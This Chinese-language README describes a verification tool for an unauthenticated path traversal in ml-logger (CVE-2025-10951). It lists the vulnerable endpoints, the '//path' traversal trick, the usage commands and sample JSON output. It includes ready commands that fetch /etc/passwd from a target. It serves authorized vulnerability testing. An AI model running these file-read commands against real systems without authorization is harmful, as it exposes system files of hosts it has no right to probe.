本工具用于验证 CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 是否存在——这是 geyang/ml-logger(≤ 0.10.36)中的一个未认证路径遍历漏洞,影响 ml_logger/server.py 中的 log_handler / stream_handler 函数。
仅可用于你获得授权测试的系统。
| 端点 | 方法 | 用途 |
|---|---|---|
/glob | POST | 确认服务器会枚举应用预期范围之外的文件系统路径 |
/stream | GET | 确认可通过前导双斜杠遍历技巧(//path/to/file)实现任意文件读取 |
默认情况下,验证步骤仅读取 /etc/hostname —— 这是几乎所有 Linux 主机上都存在的一行无害内容,绝非敏感数据。
pip install requests
基础检测:
python3 check_mllogger_traversal.py http://TARGET:PORT
将结果写入 JSON(用于测试文档 / 证据留档):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
获取你指定的特定文件(仅在确认存在漏洞时运行):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
组合使用:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 —— 已确认存在漏洞(完全确认或高度可能)1 —— 未确认存在漏洞 / 目标不可达{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch 仅在漏洞检测成功之后才会运行——不会对未确认的目标尝试获取文件。| 参数 | 说明 |
|---|
target | 基础 URL,例如 http://192.xxx.x.xx:8081 |
--timeout | 请求超时时间(秒,默认:8.0) |
--json FILE | 将结构化结果写入 JSON 文件 |
--fetch REMOTE_PATH | 获取你指定的远程文件 |
--output LOCAL_PATH | --fetch 输出的本地文件名(默认:远程路径的文件名) |